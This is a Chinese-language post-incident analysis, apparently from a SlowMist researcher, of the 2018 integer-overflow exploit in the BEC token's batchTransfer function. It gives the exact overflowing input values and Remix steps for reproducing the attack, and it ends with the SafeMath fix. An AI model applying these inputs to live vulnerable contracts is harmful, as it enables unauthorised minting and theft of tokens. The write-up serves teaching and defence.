市值一度突破280亿美金“全球第一个基于区块链技术打造的美容生态链平台”BEC(Beauty Chain)在2018年4月22日遭到攻击者0x09a34e***ed5fe93c
利用溢出漏洞缺陷。
在开始详细的细节剖析之前,需要先了解一些技术背景作为铺垫。
Solidity最大能处理256位数字,最大值为2256-1,加1会导致归 0,发生溢出。
# 此为上溢
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+
0x0000000000000000000000000000000000000000000000000000000000000001
=
0x0000000000000000000000000000000000000000000000000000000000000000
攻击者0x09a34e***ed5fe93c
通过溢出漏洞增发大量 BEC。交易详情
那么攻击者是如何实现这个操作的呢?我们来瞄一下 BEC 合约。合约地址
通过上图我们可以看到 #259
行的 batchTransfer() 方法,从名字看是一个批量转账的方法。
让我们继续看方法内部,#261
行,事情变得有趣了起来…
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
虽说做了限制,有没有可能构造 cnt
和 _value
让 amount
溢出?of course!
转头来看攻击者的操作。
# 此也为上溢
0x8000000000000000000000000000000000000000000000000000000000000000
*
2
=
0x0000000000000000000000000000000000000000000000000000000000000000
于是,cnt = 2
=>require(cnt > 0 && cnt <= 20);
,此行通过,amount = 0
,_value = 0x8000000000000000000000000000000000000000000000000000000000000000
=>require(_value > 0 && balances[msg.sender] >= amount);
,此行也通过。
攻击者原账户,一分钱都没动达到大额转出到其他账户的效果。
破案了么?我们再验证一下。
验证成功,数值相同。(e是exponent,表示以10为底的指数。)
原理明白了,那我们何不化身超级大黑客操作一把?
FILE EXPLORERS
创建Bec.sol文件,将BecToken合约copy过来SOLIDITY COMPILER
选择 0.4.16 版本编译器进行编译DEPLOY & RUN TRANSACTIONS
选择 PausableToken["0xb4d30cac5124b46c2df0cf3e3e1be05f42119033","0x0e823ffe018727585eaf5bc769fa80472f76c3d7","0xb4d30cac5124b46c2df0cf3e3e1be05f42119033","0xb4d30cac5124b46c2df0cf3e3e1be05f42119033"]
0x4000000000000000000000000000000000000000000000000000000000000000
为避免程序出现溢出,开发者可考虑运算中使用OpenZeppelin库的SafeMath。SafeMath
技术活说完了,朋友们有没有想过一件诡异的事情,他的动机是什么?
毕竟,那些个BEC在两个地址里面好好的躺着呢
且,BEC因为此漏洞币值缩水 且,如此大的资金当量难以出手变现 这个黑客是在玩么?感兴趣可以交流一下。
BEC 智能合约无限转币漏洞分析及预警-慢雾安全团队 利用溢出漏洞的交易详情 区块链安全—溢出的BEC漏洞 美链 BEC 合约漏洞技术分析
--则若@慢雾安全团队